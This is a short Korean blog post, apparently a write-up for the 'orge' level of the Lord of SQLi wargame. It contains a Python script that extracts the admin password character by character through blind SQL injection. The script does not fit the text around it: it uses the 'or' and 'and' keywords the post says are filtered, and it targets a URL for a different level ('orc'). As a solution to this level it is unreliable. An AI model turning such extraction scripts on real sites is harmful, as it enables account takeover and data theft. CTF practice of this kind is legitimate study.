-
LOS - 7 (orge) Write Up (blind sql injection)CTF/Web 2020. 3. 15. 20:32앞에서 or 과 and가 필터링이 되었으며밑에서 ($result['pw'] == $_GET['pw']) 로직이 구현되어 있어서 pw를 통한 우회가 불가능하다.그래서 blind sql이 되는지 확인 후 blind sql을 진행하였다.?pw=' || '1'='1을 쿼리로 입력하면라고 뜬다.여기서 중요한 점은 id가 'geust'로 고정이 되어있음으로 id='admin'을 추가해 주어야한다.
import requests url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?" headers = {"cookie":"PHPSESSID=1231312312"} l = 0 for i in range(1,15): query = "pw=' or length(pw) = {}%23".format(i) r = requests.get(url+query, headers=headers) if "Hello admin" in r.text: l = i print(i) break pw = '' for i in range(1,l+1): for c in range(23, 133): query = "pw=' or id = 'admin' and substr(pw, {}, 1) = '{}".format(i,chr(c)) r = requests.get(url+query, headers=headers) if "Hello admin" in r.text: pw += chr(c) print(pw) break
pw 길이를 구하는 문구는 사실 예의상 넣었다고 해도 과언이 아니다.(맨날 구해보면 다 8글자뿐...)
pw에 그대로 넣으면 클리어가 된다.
'CTF > Web' 카테고리의 다른 글
LOS - 9 (vampire) Write Up (replace 우회) (0) 2020.03.17 LOS - 8 (troll) Write Up (preg_match와 i의 관계) (0) 2020.03.16 LOS - 6 (darkelf) Write Up (and, or 필터링 우회기법) (0) 2020.03.14 LOS - 5 (WOLFMAN) Write Up (공백 필터링 우회) (0) 2020.03.13 Los - 4 (orc) Write Up (Blind Sql injection 코딩 방법) (0) 2020.03.12